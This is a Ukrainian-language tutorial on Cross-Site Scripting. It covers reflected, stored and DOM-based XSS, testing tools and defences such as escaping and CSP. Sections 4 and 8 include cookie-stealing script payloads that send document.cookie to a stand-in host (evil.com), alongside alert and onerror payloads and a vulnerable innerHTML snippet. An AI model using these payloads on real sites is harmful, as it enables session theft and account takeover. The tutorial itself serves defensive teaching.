Cross-Site Scripting (XSS): повний гайд по атаках, техніках та захисту
Cross-Site Scripting (XSS) — це одна з найпоширеніших веб-уразливостей, яка дозволяє атакувальнику вставляти шкідливий код у веб-сторінки, які бачать інші користувачі. XSS дозволяє викрадати сесійні токени, виконувати небажані дії від імені жертви, змінювати вміст сторінок або перенаправляти на шкідливі ресурси.
XSS часто зустрічається в веб-додатках без належної валідації та санітизації вводу. У серйозних випадках такі атаки можуть призвести до компрометації облікових записів, викрадення конфіденційних даних та навіть повного контролю над браузером користувача.
1. Що таке Cross-Site Scripting
Cross-Site Scripting (XSS) — це атака, яка дозволяє впроваджувати JavaScript або інший код у веб-сторінки, що відображаються іншим користувачам. Мета — виконати небажані дії у браузері жертви. XSS відрізняється від SQL Injection тим, що впливає на клієнтську частину, а не безпосередньо на сервер.
Основні ризики XSS:
- Викрадення сесійних куків та токенів авторизації
- Маніпуляція DOM та відображенням сторінки
- Фішингові атаки всередині сайту
- Встановлення шкідливих скриптів для автоматизації атак
2. Типи XSS атак
XSS поділяють на три основні типи:
- Reflected XSS (Відображуваний) — код виконується одразу після переходу за посиланням.
- Stored XSS (Збережений) — код зберігається на сервері (наприклад, у базі даних) і виконується при відкритті сторінки.
- DOM-Based XSS — атака відбувається на стороні клієнта через маніпуляції DOM без участі сервера.
3. Reflected XSS
Reflected XSS виникає, коли введені користувачем дані негайно відображаються на сторінці без відповідної обробки.
Цей тип атаки часто використовується у фішингових посиланнях.
Приклад:
http://example.com/search?q=<script>alert('XSS')</script>
Якщо сайт не фільтрує символи < >, скрипт виконається у браузері жертви.
4. Stored XSS
Stored XSS — це більш небезпечний тип атаки, коли шкідливий код зберігається на сервері (наприклад, у коментарях, профілі користувача або базі даних).
Кожен користувач, який відкриє заражену сторінку, виконає цей код.
Приклад:
- Зловмисник залишає коментар:
<script>document.location='http://evil.com/cookie='+document.cookie;</script> - Кожен відвідувач отримує код, який викрадає його куки.
5. DOM-Based XSS
Цей тип атаки відбувається на стороні клієнта. Дані з URL, localStorage, або елементів DOM використовуються без перевірки. Код виконується прямо у браузері, і сервер навіть не дізнається про атаку.
Приклад JavaScript:
var param = location.hash.substring(1);
document.getElementById('output').innerHTML = param;
Якщо користувач відкриє URL http://example.com/page#<script>alert('XSS')</script>, код виконається.
6. Наслідки XSS
- Викрадення облікових записів
- Фішинг усередині сайту
- Встановлення бекдорів через браузер
- Викрадення конфіденційної інформації (дані форм, файли cookie)
- Розповсюдження шкідливого коду серед користувачів
7. Інструменти для тестування XSS
- Burp Suite — автоматизація і ручне тестування XSS
- OWASP ZAP — відкритий фреймворк для сканування веб-уразливостей
- XSStrike — спеціалізований інструмент для XSS-перевірки
- BeEF — фреймворк для експлуатації XSS
8. Приклади payload’ів XSS
Декілька прикладів для різних типів:
- Simple alert:
<script>alert('XSS')</script> - Steal cookie:
<script>document.location='http://evil.com?c='+document.cookie;</script> - DOM injection:
<img src=x onerror=alert('XSS')>
9. Як захиститися від XSS
Основні методи захисту:
- Екранування символів HTML (<, >, &, «, ‘)
- Використання Content Security Policy (CSP)
- Валідація і санітизація всіх даних користувача
- Уникання динамічного вставлення HTML через innerHTML, eval, document.write
- Використання безпечних функцій шаблонізації та фреймворків (React, Angular, Vue)
- Регулярне тестування на XSS за допомогою автоматизованих і ручних засобів
10. Реальні кейси XSS
- Facebook (2013) — Stored XSS дозволяв викрадати токени користувачів
- Google (2014) — Reflected XSS в Gmail дозволяв відправляти спам через чужі акаунти
- PayPal (2015) — Stored XSS у формі контактів
- Yahoo! (2016) — Stored XSS у профілях користувачів
11. Висновок
XSS — це небезпечна і дуже поширена уразливість, яка використовується як для викрадення даних, так і для повного контролю браузера користувача. Розуміння типів XSS, способів впровадження коду, наслідків атак та методів захисту є обов’язковим для веб-розробників, тестувальників та спеціалістів з кібербезпеки.
Системний підхід до санітизації введення, налаштування CSP, обмеження використання небезпечних функцій та регулярне тестування дозволяють мінімізувати ризики та захистити користувачів від атак XSS.